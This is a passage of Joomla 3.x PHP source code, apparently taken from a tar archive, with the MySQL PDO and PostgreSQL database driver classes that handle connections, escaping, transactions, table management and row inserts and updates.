$tables = $this->loadColumn();
return $tables;
}
/**
* Locks a table in the database.
*
* @param string $table The name of the table to unlock.
*
* @return JDatabaseDriverPdomysql Returns this object to support
chaining.
*
* @since 3.4
* @throws RuntimeException
*/
public function lockTable($table)
{
$this->setQuery('LOCK TABLES ' . $this->quoteName($table)
. ' WRITE')->execute();
return $this;
}
/**
* Renames a table in the database.
*
* @param string $oldTable The name of the table to be renamed
* @param string $newTable The new name for the table.
* @param string $backup Not used by MySQL.
* @param string $prefix Not used by MySQL.
*
* @return JDatabaseDriverPdomysql Returns this object to support
chaining.
*
* @since 3.4
* @throws RuntimeException
*/
public function renameTable($oldTable, $newTable, $backup = null, $prefix
= null)
{
$this->setQuery('RENAME TABLE ' .
$this->quoteName($oldTable) . ' TO ' .
$this->quoteName($newTable));
$this->execute();
return $this;
}
/**
* Method to escape a string for usage in an SQL statement.
*
* Oracle escaping reference:
*
http://www.orafaq.com/wiki/SQL_FAQ#How_does_one_escape_special_characters_when_writing_SQL_queries.3F
*
* SQLite escaping notes:
* http://www.sqlite.org/faq.html#q14
*
* Method body is as implemented by the Zend Framework
*
* Note: Using query objects with bound variables is
* preferable to the below.
*
* @param string $text The string to be escaped.
* @param boolean $extra Unused optional parameter to provide extra
escaping.
*
* @return string The escaped string.
*
* @since 3.4
*/
public function escape($text, $extra = false)
{
if (is_int($text))
{
return $text;
}
if (is_float($text))
{
// Force the dot as a decimal point.
return str_replace(',', '.', $text);
}
$this->connect();
$result = substr($this->connection->quote($text), 1, -1);
if ($extra)
{
$result = addcslashes($result, '%_');
}
return $result;
}
/**
* Unlocks tables in the database.
*
* @return JDatabaseDriverPdomysql Returns this object to support
chaining.
*
* @since 3.4
* @throws RuntimeException
*/
public function unlockTables()
{
$this->setQuery('UNLOCK TABLES')->execute();
return $this;
}
/**
* Method to commit a transaction.
*
* @param boolean $toSavepoint If true, commit to the last savepoint.
*
* @return void
*
* @since 3.4
* @throws RuntimeException
*/
public function transactionCommit($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
parent::transactionCommit($toSavepoint);
}
else
{
$this->transactionDepth--;
}
}
/**
* Method to roll back a transaction.
*
* @param boolean $toSavepoint If true, rollback to the last
savepoint.
*
* @return void
*
* @since 3.4
* @throws RuntimeException
*/
public function transactionRollback($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
parent::transactionRollback($toSavepoint);
}
else
{
$savepoint = 'SP_' . ($this->transactionDepth - 1);
$this->setQuery('ROLLBACK TO SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth--;
}
}
}
/**
* Method to initialize a transaction.
*
* @param boolean $asSavepoint If true and a transaction is already
active, a savepoint will be created.
*
* @return void
*
* @since 3.4
* @throws RuntimeException
*/
public function transactionStart($asSavepoint = false)
{
$this->connect();
if (!$asSavepoint || !$this->transactionDepth)
{
parent::transactionStart($asSavepoint);
}
else
{
$savepoint = 'SP_' . $this->transactionDepth;
$this->setQuery('SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth++;
}
}
}
/**
* Internal function to check if profiling is available.
*
* @return boolean
*
* @since 3.9.1
*/
private function hasProfiling()
{
$result = $this->setQuery("SHOW VARIABLES LIKE
'have_profiling'")->loadAssoc();
return isset($result);
}
}
database/driver/pgsql.php000064400000063406151171674070011464
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* PostgreSQL PDO Database Driver
*
* @link https://www.php.net/manual/en/ref.pdo-mysql.php
* @since 3.9.0
*/
class JDatabaseDriverPgsql extends JDatabaseDriverPdo
{
/**
* The database driver name
*
* @var string
* @since 3.9.0
*/
public $name = 'pgsql';
/**
* The character(s) used to quote SQL statement names such as table names
or field names,
* etc. The child classes should define this as necessary. If a single
character string the
* same character is used for both sides of the quoted name, else the
first character will be
* used for the opening quote and the second for the closing quote.
*
* @var string
* @since 3.9.0
*/
protected $nameQuote = '"';
/**
* The null or zero representation of a timestamp for the database driver.
This should be
* defined in child classes to hold the appropriate value for the engine.
*
* @var string
* @since 3.9.0
*/
protected $nullDate = '1970-01-01 00:00:00';
/**
* The minimum supported database version.
*
* @var string
* @since 3.9.0
*/
protected static $dbMinimum = '8.3.18';
/**
* Operator used for concatenation
*
* @var string
* @since 3.9.0
*/
protected $concat_operator = '||';
/**
* Database object constructor
*
* @param array $options List of options used to configure the
connection
*
* @since 3.9.0
*/
public function __construct($options)
{
$options['driver'] = 'pgsql';
$options['host'] = isset($options['host']) ?
$options['host'] : 'localhost';
$options['user'] = isset($options['user']) ?
$options['user'] : '';
$options['password'] = isset($options['password']) ?
$options['password'] : '';
$options['database'] = isset($options['database']) ?
$options['database'] : '';
$options['port'] = isset($options['port']) ?
$options['port'] : null;
// Finalize initialization
parent::__construct($options);
}
/**
* Connects to the database if needed.
*
* @return void Returns void if the database connected successfully.
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function connect()
{
if ($this->getConnection())
{
return;
}
parent::connect();
$this->setQuery('SET standard_conforming_strings =
off')->execute();
}
/**
* Drops a table from the database.
*
* @param string $tableName The name of the database table to drop.
* @param boolean $ifExists Optionally specify that the table must
exist before it is dropped.
*
* @return boolean true
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function dropTable($tableName, $ifExists = true)
{
$this->setQuery('DROP TABLE ' . ($ifExists ? 'IF EXISTS
' : '') . $this->quoteName($tableName))->execute();
return true;
}
/**
* Method to get the database collation in use by sampling a text field of
a table in the database.
*
* @return mixed The collation in use by the database or boolean false
if not supported.
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function getCollation()
{
$this->setQuery('SHOW LC_COLLATE');
$array = $this->loadAssocList();
return $array[0]['lc_collate'];
}
/**
* Method to get the database connection collation in use by sampling a
text field of a table in the database.
*
* @return mixed The collation in use by the database connection
(string) or boolean false if not supported.
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function getConnectionCollation()
{
$this->setQuery('SHOW LC_COLLATE');
$array = $this->loadAssocList();
return $array[0]['lc_collate'];
}
/**
* Internal function to get the name of the default schema for the current
PostgreSQL connection.
* That is the schema where tables are created by Joomla.
*
* @return string
*
* @since 3.9.24
*/
private function getDefaultSchema()
{
// Supported since PostgreSQL 7.3
$this->setQuery('SELECT (current_schemas(false))[1]');
return $this->loadResult();
}
/**
* Shows the table CREATE statement that creates the given tables.
*
* This is unsupported by PostgreSQL.
*
* @param mixed $tables A table name or a list of table names.
*
* @return string An empty string because this function is not supported
by PostgreSQL.
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function getTableCreate($tables)
{
return '';
}
/**
* Retrieves field information about a given table.
*
* @param string $table The name of the database table.
* @param boolean $typeOnly True to only return field types.
*
* @return array An array of fields for the database table.
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function getTableColumns($table, $typeOnly = true)
{
$this->connect();
$result = array();
$tableSub = $this->replacePrefix($table);
$defaultSchema = $this->getDefaultSchema();
$this->setQuery('
SELECT a.attname AS "column_name",
pg_catalog.format_type(a.atttypid, a.atttypmod) as "type",
CASE WHEN a.attnotnull IS TRUE
THEN \'NO\'
ELSE \'YES\'
END AS "null",
CASE WHEN pg_catalog.pg_get_expr(adef.adbin, adef.adrelid, true) IS NOT
NULL
THEN pg_catalog.pg_get_expr(adef.adbin, adef.adrelid, true)
END as "Default",
CASE WHEN pg_catalog.col_description(a.attrelid, a.attnum) IS NULL
THEN \'\'
ELSE pg_catalog.col_description(a.attrelid, a.attnum)
END AS "comments"
FROM pg_catalog.pg_attribute a
LEFT JOIN pg_catalog.pg_attrdef adef ON a.attrelid=adef.adrelid AND
a.attnum=adef.adnum
LEFT JOIN pg_catalog.pg_type t ON a.atttypid=t.oid
WHERE a.attrelid =
(SELECT oid FROM pg_catalog.pg_class WHERE relname=' .
$this->quote($tableSub) . '
AND relnamespace = (SELECT oid FROM pg_catalog.pg_namespace WHERE
nspname = ' . $this->quote($defaultSchema) . ')
)
AND a.attnum > 0 AND NOT a.attisdropped
ORDER BY a.attnum'
);
$fields = $this->loadObjectList();
if ($typeOnly)
{
foreach ($fields as $field)
{
$result[$field->column_name] = preg_replace('/[(0-9)]/',
'', $field->type);
}
}
else
{
foreach ($fields as $field)
{
if (stristr(strtolower($field->type), 'character
varying'))
{
$field->Default = '';
}
if (stristr(strtolower($field->type), 'text'))
{
$field->Default = '';
}
// Do some dirty translation to MySQL output.
// @todo: Come up with and implement a standard across databases.
$result[$field->column_name] = (object) array(
'column_name' => $field->column_name,
'type' => $field->type,
'null' => $field->null,
'Default' => $field->Default,
'comments' => '',
'Field' => $field->column_name,
'Type' => $field->type,
'Null' => $field->null,
// @todo: Improve query above to return primary key info as well
// 'Key' => ($field->PK == '1' ?
'PRI' : '')
);
}
}
// Change Postgresql's NULL::* type with PHP's null one
foreach ($fields as $field)
{
if (preg_match('/^NULL::*/', $field->Default))
{
$field->Default = null;
}
}
return $result;
}
/**
* Get the details list of keys for a table.
*
* @param string $table The name of the table.
*
* @return array An array of the column specification for the table.
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function getTableKeys($table)
{
$this->connect();
// To check if table exists and prevent SQL injection
$tableList = $this->getTableList();
if (in_array($table, $tableList, true))
{
// Get the details columns information.
$this->setQuery('
SELECT indexname AS "idxName", indisprimary AS
"isPrimary", indisunique AS "isUnique",
CASE WHEN indisprimary = true THEN
( SELECT \'ALTER TABLE \' || tablename || \' ADD
\' || pg_catalog.pg_get_constraintdef(const.oid, true)
FROM pg_constraint AS const WHERE const.conname=
pgClassFirst.relname )
ELSE pg_catalog.pg_get_indexdef(indexrelid, 0, true)
END AS "Query"
FROM pg_indexes
LEFT JOIN pg_class AS pgClassFirst ON indexname=pgClassFirst.relname
LEFT JOIN pg_index AS pgIndex ON pgClassFirst.oid=pgIndex.indexrelid
WHERE tablename=' . $this->quote($table) . ' ORDER BY
indkey'
);
return $this->loadObjectList();
}
return false;
}
/**
* Method to get an array of all tables in the database.
*
* @return array An array of all the tables in the database.
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function getTableList()
{
$query = $this->getQuery(true)
->select('table_name')
->from('information_schema.tables')
->where('table_type = ' . $this->quote('BASE
TABLE'))
->where('table_schema NOT IN (' .
$this->quote('pg_catalog') . ', ' .
$this->quote('information_schema') . ')')
->order('table_name ASC');
$this->setQuery($query);
return $this->loadColumn();
}
/**
* Get the details list of sequences for a table.
*
* @param string $table The name of the table.
*
* @return array An array of sequences specification for the table.
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function getTableSequences($table)
{
// To check if table exists and prevent SQL injection
$tableList = $this->getTableList();
if (in_array($table, $tableList, true))
{
$name = array(
's.relname', 'n.nspname', 't.relname',
'a.attname', 'info.data_type',
'info.minimum_value', 'info.maximum_value',
'info.increment', 'info.cycle_option'
);
$as = array('sequence', 'schema', 'table',
'column', 'data_type', 'minimum_value',
'maximum_value', 'increment',
'cycle_option');
if (version_compare($this->getVersion(), '9.1.0') >= 0)
{
$name[] .= 'info.start_value';
$as[] .= 'start_value';
}
// Get the details columns information.
$query = $this->getQuery(true)
->select($this->quoteName($name, $as))
->from('pg_class AS s')
->leftJoin("pg_depend d ON d.objid = s.oid AND d.classid =
'pg_class'::regclass AND d.refclassid =
'pg_class'::regclass")
->leftJoin('pg_class t ON t.oid = d.refobjid')
->leftJoin('pg_namespace n ON n.oid = t.relnamespace')
->leftJoin('pg_attribute a ON a.attrelid = t.oid AND a.attnum =
d.refobjsubid')
->leftJoin('information_schema.sequences AS info ON
info.sequence_name = s.relname')
->where('s.relkind = ' . $this->quote('S') .
' AND d.deptype = ' . $this->quote('a') . ' AND
t.relname = ' . $this->quote($table));
$this->setQuery($query);
return $this->loadObjectList();
}
return false;
}
/**
* Locks a table in the database.
*
* @param string $tableName The name of the table to unlock.
*
* @return JDatabaseDriverPgsql Returns this object to support chaining.
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function lockTable($tableName)
{
$this->transactionStart();
$this->setQuery('LOCK TABLE ' .
$this->quoteName($tableName) . ' IN ACCESS EXCLUSIVE
MODE')->execute();
return $this;
}
/**
* Renames a table in the database.
*
* @param string $oldTable The name of the table to be renamed
* @param string $newTable The new name for the table.
* @param string $backup Not used by PostgreSQL.
* @param string $prefix Not used by PostgreSQL.
*
* @return JDatabaseDriverPgsql Returns this object to support chaining.
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function renameTable($oldTable, $newTable, $backup = null, $prefix
= null)
{
$this->connect();
// To check if table exists and prevent SQL injection
$tableList = $this->getTableList();
// Origin Table does not exist
if (!in_array($oldTable, $tableList, true))
{
// Origin Table not found
throw new \RuntimeException('Table not found in Postgresql
database.');
}
// Rename indexes
$subQuery = $this->getQuery(true)
->select('indexrelid')
->from('pg_index, pg_class')
->where('pg_class.relname = ' . $this->quote($oldTable))
->where('pg_class.oid = pg_index.indrelid');
$this->setQuery(
$this->getQuery(true)
->select('relname')
->from('pg_class')
->where('oid IN (' . (string) $subQuery . ')')
);
$oldIndexes = $this->loadColumn();
foreach ($oldIndexes as $oldIndex)
{
$changedIdxName = str_replace($oldTable, $newTable, $oldIndex);
$this->setQuery('ALTER INDEX ' .
$this->escape($oldIndex) . ' RENAME TO ' .
$this->escape($changedIdxName))->execute();
}
// Rename sequences
$subQuery = $this->getQuery(true)
->select('oid')
->from('pg_namespace')
->where('nspname NOT LIKE ' .
$this->quote('pg_%'))
->where('nspname != ' .
$this->quote('information_schema'));
$this->setQuery(
$this->getQuery(true)
->select('relname')
->from('pg_class')
->where('relkind = ' . $this->quote('S'))
->where('relnamespace IN (' . (string) $subQuery .
')')
->where('relname LIKE ' .
$this->quote("%$oldTable%"))
);
$oldSequences = $this->loadColumn();
foreach ($oldSequences as $oldSequence)
{
$changedSequenceName = str_replace($oldTable, $newTable, $oldSequence);
$this->setQuery('ALTER SEQUENCE ' .
$this->escape($oldSequence) . ' RENAME TO ' .
$this->escape($changedSequenceName))->execute();
}
// Rename table
$this->setQuery('ALTER TABLE ' . $this->escape($oldTable)
. ' RENAME TO ' . $this->escape($newTable))->execute();
return true;
}
/**
* This function return a field value as a prepared string to be used in a
SQL statement.
*
* @param array $columns Array of table's column returned by
::getTableColumns.
* @param string $fieldName The table field's name.
* @param string $fieldValue The variable value to quote and return.
*
* @return string The quoted string.
*
* @since 3.9.0
*/
public function sqlValue($columns, $fieldName, $fieldValue)
{
switch ($columns[$fieldName])
{
case 'boolean':
$val = 'NULL';
if ($fieldValue === 't' || $fieldValue === true ||
$fieldValue === 1 || $fieldValue === '1')
{
$val = 'TRUE';
}
elseif ($fieldValue === 'f' || $fieldValue === false ||
$fieldValue === 0 || $fieldValue === '0')
{
$val = 'FALSE';
}
break;
case 'bigint':
case 'bigserial':
case 'integer':
case 'money':
case 'numeric':
case 'real':
case 'smallint':
case 'serial':
case 'numeric,':
$val = $fieldValue === '' ? 'NULL' : $fieldValue;
break;
case 'date':
case 'timestamp without time zone':
if (empty($fieldValue))
{
$fieldValue = $this->getNullDate();
}
$val = $this->quote($fieldValue);
break;
default:
$val = $this->quote($fieldValue);
break;
}
return $val;
}
/**
* Method to commit a transaction.
*
* @param boolean $toSavepoint If true, commit to the last savepoint.
*
* @return void
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function transactionCommit($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
if ($this->setQuery('COMMIT')->execute())
{
$this->transactionDepth = 0;
}
return;
}
$this->transactionDepth--;
}
/**
* Method to roll back a transaction.
*
* @param boolean $toSavepoint If true, rollback to the last
savepoint.
*
* @return void
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function transactionRollback($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
if ($this->setQuery('ROLLBACK')->execute())
{
$this->transactionDepth = 0;
}
return;
}
$savepoint = 'SP_' . ($this->transactionDepth - 1);
$this->setQuery('ROLLBACK TO SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth--;
$this->setQuery('RELEASE SAVEPOINT ' .
$this->quoteName($savepoint))->execute();
}
}
/**
* Method to initialize a transaction.
*
* @param boolean $asSavepoint If true and a transaction is already
active, a savepoint will be created.
*
* @return void
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function transactionStart($asSavepoint = false)
{
$this->connect();
if (!$asSavepoint || !$this->transactionDepth)
{
if ($this->setQuery('START TRANSACTION')->execute())
{
$this->transactionDepth = 1;
}
return;
}
$savepoint = 'SP_' . $this->transactionDepth;
$this->setQuery('SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth++;
}
}
/**
* Inserts a row into a table based on an object's properties.
*
* @param string $table The name of the database table to insert
into.
* @param object &$object A reference to an object whose public
properties match the table fields.
* @param string $key The name of the primary key. If provided the
object property is updated.
*
* @return boolean True on success.
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function insertObject($table, &$object, $key = null)
{
$columns = $this->getTableColumns($table);
$fields = array();
$values = array();
// Iterate over the object variables to build the query fields and
values.
foreach (get_object_vars($object) as $k => $v)
{
// Skip columns that don't exist in the table.
if (!array_key_exists($k, $columns))
{
continue;
}
// Only process non-null scalars.
if (is_array($v) || is_object($v) || $v === null)
{
continue;
}
// Ignore any internal fields or primary keys with value 0.
if (($k[0] === '_') || ($k == $key && (($v === 0) ||
($v === '0'))))
{
continue;
}
// Prepare and sanitize the fields and values for the database query.
$fields[] = $this->quoteName($k);
$values[] = $this->sqlValue($columns, $k, $v);
}
// Create the base insert statement.
$query = $this->getQuery(true);
$query->insert($this->quoteName($table))
->columns($fields)
->values(implode(',', $values));
$retVal = false;
if ($key)
{
$query->returning($key);
// Set the query and execute the insert.
$this->setQuery($query);
$id = $this->loadResult();
if ($id)
{
$object->$key = $id;
$retVal = true;
}
}
else
{
// Set the query and execute the insert.
$this->setQuery($query);
if ($this->execute())
{
$retVal = true;
}
}
return $retVal;
}
/**
* Test to see if the PostgreSQL connector is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.9.0
*/
public static function isSupported()
{
return class_exists('PDO') &&
in_array('pgsql', PDO::getAvailableDrivers(), true);
}
/**
* Returns an array containing database's table list.
*
* @return array The database's table list.
*
* @since 3.9.0
*/
public function showTables()
{
$query = $this->getQuery(true)
->select('table_name')
->from('information_schema.tables')
->where('table_type=' . $this->quote('BASE
TABLE'))
->where('table_schema NOT IN (' .
$this->quote('pg_catalog') . ', ' .
$this->quote('information_schema') . ' )');
$this->setQuery($query);
return $this->loadColumn();
}
/**
* Get the substring position inside a string
*
* @param string $substring The string being sought
* @param string $string The string/column being searched
*
* @return integer The position of $substring in $string
*
* @since 3.9.0
*/
public function getStringPositionSql($substring, $string)
{
$this->setQuery("SELECT POSITION($substring IN $string)");
$position = $this->loadRow();
return $position['position'];
}
/**
* Generate a random value
*
* @return float The random generated number
*
* @since 3.9.0
*/
public function getRandom()
{
$this->setQuery('SELECT RANDOM()');
$random = $this->loadAssoc();
return $random['random'];
}
/**
* Get the query string to alter the database character set.
*
* @param string $dbName The database name
*
* @return string The query that alter the database query string
*
* @since 3.9.0
*/
public function getAlterDbCharacterSet($dbName)
{
return 'ALTER DATABASE ' . $this->quoteName($dbName) .
' SET CLIENT_ENCODING TO ' . $this->quote('UTF8');
}
/**
* Get the query string to create new Database in correct PostgreSQL
syntax.
*
* @param object $options object coming from "initialise"
function to pass user and database name to database driver.
* @param boolean $utf True if the database supports the UTF-8
character set, not used in PostgreSQL "CREATE DATABASE" query.
*
* @return string The query that creates database, owned by
$options['user']
*
* @since 3.9.0
*/
public function getCreateDbQuery($options, $utf)
{
$query = 'CREATE DATABASE ' .
$this->quoteName($options->db_name) . ' OWNER ' .
$this->quoteName($options->db_user);
if ($utf)
{
$query .= ' ENCODING ' . $this->quote('UTF-8');
}
return $query;
}
/**
* This function replaces a string identifier
<var>$prefix</var> with the string held is the
<var>tablePrefix</var> class variable.
*
* @param string $sql The SQL statement to prepare.
* @param string $prefix The common table prefix.
*
* @return string The processed SQL statement.
*
* @since 3.9.0
*/
public function replacePrefix($sql, $prefix = '#__')
{
$sql = trim($sql);
if (strpos($sql, '\''))
{
// Sequence name quoted with ' ' but need to be replaced
if (strpos($sql, 'currval'))
{
$sql = explode('currval', $sql);
for ($nIndex = 1, $nIndexMax = count($sql); $nIndex < $nIndexMax;
$nIndex += 2)
{
$sql[$nIndex] = str_replace($prefix, $this->tablePrefix,
$sql[$nIndex]);
}
$sql = implode('currval', $sql);
}
// Sequence name quoted with ' ' but need to be replaced
if (strpos($sql, 'nextval'))
{
$sql = explode('nextval', $sql);
for ($nIndex = 1, $nIndexMax = count($sql); $nIndex < $nIndexMax;
$nIndex += 2)
{
$sql[$nIndex] = str_replace($prefix, $this->tablePrefix,
$sql[$nIndex]);
}
$sql = implode('nextval', $sql);
}
// Sequence name quoted with ' ' but need to be replaced
if (strpos($sql, 'setval'))
{
$sql = explode('setval', $sql);
for ($nIndex = 1, $nIndexMax = count($sql); $nIndex < $nIndexMax;
$nIndex += 2)
{
$sql[$nIndex] = str_replace($prefix, $this->tablePrefix,
$sql[$nIndex]);
}
$sql = implode('setval', $sql);
}
$explodedQuery = explode('\'', $sql);
for ($nIndex = 0, $nIndexMax = count($explodedQuery); $nIndex <
$nIndexMax; $nIndex += 2)
{
if (strpos($explodedQuery[$nIndex], $prefix))
{
$explodedQuery[$nIndex] = str_replace($prefix, $this->tablePrefix,
$explodedQuery[$nIndex]);
}
}
$replacedQuery = implode('\'', $explodedQuery);
}
else
{
$replacedQuery = str_replace($prefix, $this->tablePrefix, $sql);
}
return $replacedQuery;
}
/**
* Unlocks tables in the database, this command does not exist in
PostgreSQL, it is automatically done on commit or rollback.
*
* @return JDatabaseDriverPgsql Returns this object to support chaining.
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function unlockTables()
{
$this->transactionCommit();
return $this;
}
/**
* Updates a row in a table based on an object's properties.
*
* @param string $table The name of the database table to update.
* @param object &$object A reference to an object whose public
properties match the table fields.
* @param array $key The name of the primary key.
* @param boolean $nulls True to update null fields or false to
ignore them.
*
* @return boolean
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function updateObject($table, &$object, $key, $nulls = false)
{
$columns = $this->getTableColumns($table);
$fields = array();
$where = array();
if (is_string($key))
{
$key = array($key);
}
if (is_object($key))
{
$key = (array) $key;
}
// Create the base update statement.
$statement = 'UPDATE ' . $this->quoteName($table) . '
SET %s WHERE %s';
// Iterate over the object variables to build the query fields/value
pairs.
foreach (get_object_vars($object) as $k => $v)
{
// Skip columns that don't exist in the table.
if (! array_key_exists($k, $columns))
{
continue;
}
// Only process scalars that are not internal fields.
if (is_array($v) || is_object($v) || $k[0] === '_')
{
continue;
}
// Set the primary key to the WHERE clause instead of a field to update.
if (in_array($k, $key, true))
{
$key_val = $this->sqlValue($columns, $k, $v);
$where[] = $this->quoteName($k) . '=' . $key_val;
continue;
}
// Prepare and sanitize the fields and values for the database query.
if ($v === null)
{
// If the value is null and we do not want to update nulls then ignore
this field.
if (!$nulls)
{
continue;
}
// If the value is null and we want to update nulls then set it.
$val = 'NULL';
}
else
// The field is not null so we prep it for update.
{
$val = $this->sqlValue($columns, $k, $v);
}
// Add the field to be updated.
$fields[] = $this->quoteName($k) . '=' . $val;
}
// We don't have any fields to update.
if (empty($fields))
{
return true;
}
// Set the query and execute the update.
$this->setQuery(sprintf($statement, implode(',', $fields),
implode(' AND ', $where)));
return $this->execute();
}
/**
* Quotes a binary string to database requirements for use in database
queries.
*
* @param mixed $data A binary string to quote.
*
* @return string The binary quoted input string.
*
* @since 3.9.12
*/
public function quoteBinary($data)
{
return "decode('" . bin2hex($data) . "',
'hex')";
}
}
database/driver/postgresql.php000064400000120326151171674070012534
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* PostgreSQL database driver
*
* @since 3.0.0
* @deprecated 4.0 Use PDO PostgreSQL instead
*/
class JDatabaseDriverPostgresql extends JDatabaseDriver
{
/**
* The database driver name
*
* @var string
* @since 3.0.0
*/
public $name = 'postgresql';
/**
* The type of the database server family supported by this driver.
*
* @var string
* @since CMS 3.5.0
*/
public $serverType = 'postgresql';
/**
* Quote for named objects
*
* @var string
* @since 3.0.0
*/
protected $nameQuote = '"';
/**
* The null/zero date string
*
* @var string
* @since 3.0.0
*/
protected $nullDate = '1970-01-01 00:00:00';
/**
* The minimum supported database version.
*
* @var string
* @since 3.0.0
*/
protected static $dbMinimum = '8.3.18';
/**
* Operator used for concatenation
*
* @var string
* @since 3.0.0
*/
protected $concat_operator = '||';
/**
* JDatabaseDriverPostgresqlQuery object returned by getQuery
*
* @var JDatabaseQueryPostgresql
* @since 3.0.0
*/
protected $queryObject = null;
/**
* Database object constructor
*
* @param array $options List of options used to configure the
connection
*
* @since 3.0.0
*/
public function __construct($options)
{
$options['host'] = (isset($options['host'])) ?
$options['host'] : 'localhost';
$options['user'] = (isset($options['user'])) ?
$options['user'] : '';
$options['password'] = (isset($options['password']))
? $options['password'] : '';
$options['database'] = (isset($options['database']))
? $options['database'] : '';
$options['port'] = (isset($options['port'])) ?
$options['port'] : null;
// Finalize initialization
parent::__construct($options);
}
/**
* Connects to the database if needed.
*
* @return void Returns void if the database connected successfully.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function connect()
{
if ($this->connection)
{
return;
}
// Make sure the postgresql extension for PHP is installed and enabled.
if (!self::isSupported())
{
throw new JDatabaseExceptionUnsupported('The pgsql extension for
PHP is not installed or enabled.');
}
/*
* pg_connect() takes the port as separate argument. Therefore, we
* have to extract it from the host string (if provided).
*/
// Check for empty port
if (!$this->options['port'])
{
// Port is empty or not set via options, check for port annotation (:)
in the host string
$tmp = substr(strstr($this->options['host'],
':'), 1);
if (!empty($tmp))
{
// Get the port number
if (is_numeric($tmp))
{
$this->options['port'] = $tmp;
}
// Extract the host name
$this->options['host'] =
substr($this->options['host'], 0,
strlen($this->options['host']) - (strlen($tmp) + 1));
// This will take care of the following notation: ":5432"
if ($this->options['host'] === '')
{
$this->options['host'] = 'localhost';
}
}
// No port annotation (:) found, setting port to default PostgreSQL port
5432
else
{
$this->options['port'] = '5432';
}
}
// Build the DSN for the connection.
$dsn = '';
if (!empty($this->options['host']))
{
$dsn .= "host={$this->options['host']}
port={$this->options['port']} ";
}
$dsn .= "dbname={$this->options['database']}
user={$this->options['user']}
password={$this->options['password']}";
// Attempt to connect to the server.
if (!($this->connection = @pg_connect($dsn)))
{
throw new JDatabaseExceptionConnecting('Error connecting to PGSQL
database.');
}
pg_set_error_verbosity($this->connection, PGSQL_ERRORS_DEFAULT);
pg_query($this->connection, 'SET
standard_conforming_strings=off');
pg_query($this->connection, 'SET
escape_string_warning=off');
}
/**
* Disconnects the database.
*
* @return void
*
* @since 3.0.0
*/
public function disconnect()
{
// Close the connection.
if (is_resource($this->connection))
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}
pg_close($this->connection);
}
$this->connection = null;
}
/**
* Method to escape a string for usage in an SQL statement.
*
* @param string $text The string to be escaped.
* @param boolean $extra Optional parameter to provide extra escaping.
*
* @return string The escaped string.
*
* @since 3.0.0
*/
public function escape($text, $extra = false)
{
if (is_int($text))
{
return $text;
}
if (is_float($text))
{
// Force the dot as a decimal point.
return str_replace(',', '.', $text);
}
$this->connect();
$result = pg_escape_string($this->connection, $text);
if ($extra)
{
$result = addcslashes($result, '%_');
}
return $result;
}
/**
* Test to see if the PostgreSQL connector is available
*
* @return boolean True on success, false otherwise.
*
* @since 3.0.0
*/
public static function test()
{
return function_exists('pg_connect');
}
/**
* Determines if the connection to the server is active.
*
* @return boolean
*
* @since 3.0.0
*/
public function connected()
{
$this->connect();
if (is_resource($this->connection))
{
return pg_ping($this->connection);
}
return false;
}
/**
* Drops a table from the database.
*
* @param string $tableName The name of the database table to drop.
* @param boolean $ifExists Optionally specify that the table must
exist before it is dropped.
*
* @return boolean
*
* @since 3.0.0
* @throws RuntimeException
*/
public function dropTable($tableName, $ifExists = true)
{
$this->connect();
$this->setQuery('DROP TABLE ' . ($ifExists ? 'IF EXISTS
' : '') . $this->quoteName($tableName));
$this->execute();
return true;
}
/**
* Get the number of affected rows by the last INSERT, UPDATE, REPLACE or
DELETE for the previous executed SQL statement.
*
* @return integer The number of affected rows in the previous operation
*
* @since 3.0.0
*/
public function getAffectedRows()
{
$this->connect();
return pg_affected_rows($this->cursor);
}
/**
* Method to get the database collation in use by sampling a text field of
a table in the database.
*
* @return mixed The collation in use by the database or boolean false
if not supported.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getCollation()
{
$this->connect();
$this->setQuery('SHOW LC_COLLATE');
$array = $this->loadAssocList();
return $array[0]['lc_collate'];
}
/**
* Method to get the database connection collation, as reported by the
driver. If the connector doesn't support
* reporting this value please return an empty string.
*
* @return string
*/
public function getConnectionCollation()
{
return pg_client_encoding($this->connection);
}
/**
* Get the number of returned rows for the previous executed SQL
statement.
* This command is only valid for statements like SELECT or SHOW that
return an actual result set.
* To retrieve the number of rows affected by an INSERT, UPDATE, REPLACE
or DELETE query, use getAffectedRows().
*
* @param resource $cur An optional database cursor resource to
extract the row count from.
*
* @return integer The number of returned rows.
*
* @since 3.0.0
*/
public function getNumRows($cur = null)
{
$this->connect();
